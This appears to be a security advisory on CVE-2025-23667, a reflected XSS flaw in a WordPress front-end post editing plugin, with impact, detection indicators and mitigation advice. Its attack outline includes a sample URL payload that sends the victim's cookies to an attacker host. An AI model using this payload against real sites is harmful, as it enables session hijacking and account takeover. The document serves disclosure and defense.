CVE-2025-23667: 
WordPress vulnerability analysis and mitigation

CVE-2025-23667 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin custom-post-edit (also known as front-end-post-edit) developed by Christopher Churchill. The vulnerability affects all versions of the plugin through and including 1.0.4, with no official patch currently available. It was reported by researcher João Pedro S Alcântara (Kinorth) on October 29, 2024, and publicly disclosed by Patchstack on March 19, 2025, with the CVE record published December 31, 2025. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. The plugin fails to properly sanitize or encode user-supplied input before reflecting it back in the generated HTML response, allowing an attacker to inject arbitrary JavaScript or HTML payloads via crafted URL parameters. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user must click a malicious link or visit a crafted page for the payload to execute in their browser context. The vulnerability maps to OWASP Top 10 category A3: Injection (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim user's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim (such as administrative operations if a privileged user is targeted), injection of malicious redirects or advertisements, and defacement of web content visible to site visitors. The CVSS scope is marked as Changed, indicating the impact can extend beyond the vulnerable component itself (Patchstack).

No public exploit code or active in-the-wild exploitation has been confirmed at this time. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of traffic or popularity. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack has issued a virtual patching/mitigation rule for its customers while no official plugin patch exists (Patchstack).

1. Reconnaissance: Identify WordPress sites running the custom-post-edit (front-end-post-edit) plugin version ≤ 1.0.4 using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Identify vulnerable parameter: Locate the plugin's front-end post editing page/endpoint that reflects unsanitized user input in the HTTP response.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable query parameter, e.g., https://target-site.com/[plugin-endpoint]?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a privileged WordPress user (e.g., administrator or editor) via phishing email, social engineering, or embedded link.
5. Payload execution: When the victim clicks the link and their browser loads the page, the injected script executes in their browser session, enabling cookie theft, session hijacking, or unauthorized administrative actions on the WordPress site (Patchstack).

• Network: HTTP GET or POST requests to the plugin's front-end post editing endpoint containing URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after accessing the plugin page.
• Logs: WordPress or web server access logs showing requests to the plugin endpoint with suspicious parameter values containing HTML/JavaScript injection strings; referrer headers pointing to external attacker-controlled domains.
• Browser/Session: Unexpected session token usage from unusual IP addresses or geolocations following a privileged user's interaction with a suspicious link; unauthorized administrative actions (new admin accounts, plugin installations) logged in WordPress audit logs.

As of the time of disclosure, no official patch has been released by the plugin developer for the custom-post-edit plugin. The primary recommended action is to deactivate and remove the plugin until an official fix is available. WordPress site administrators using Patchstack can benefit from a virtual patching mitigation rule that blocks exploitation attempts without requiring a code-level fix. If the plugin is business-critical, restrict access to the plugin's front-end editing pages to authenticated and trusted users only, and implement a Web Application Firewall (WAF) rule to filter reflected XSS payloads (Patchstack).

The vulnerability was discovered and disclosed by Patchstack, with researcher João Pedro S Alcântara (Kinorth) credited for the responsible disclosure. No significant vendor statements, notable researcher commentary beyond the Patchstack advisory, or major media coverage has been identified for this vulnerability.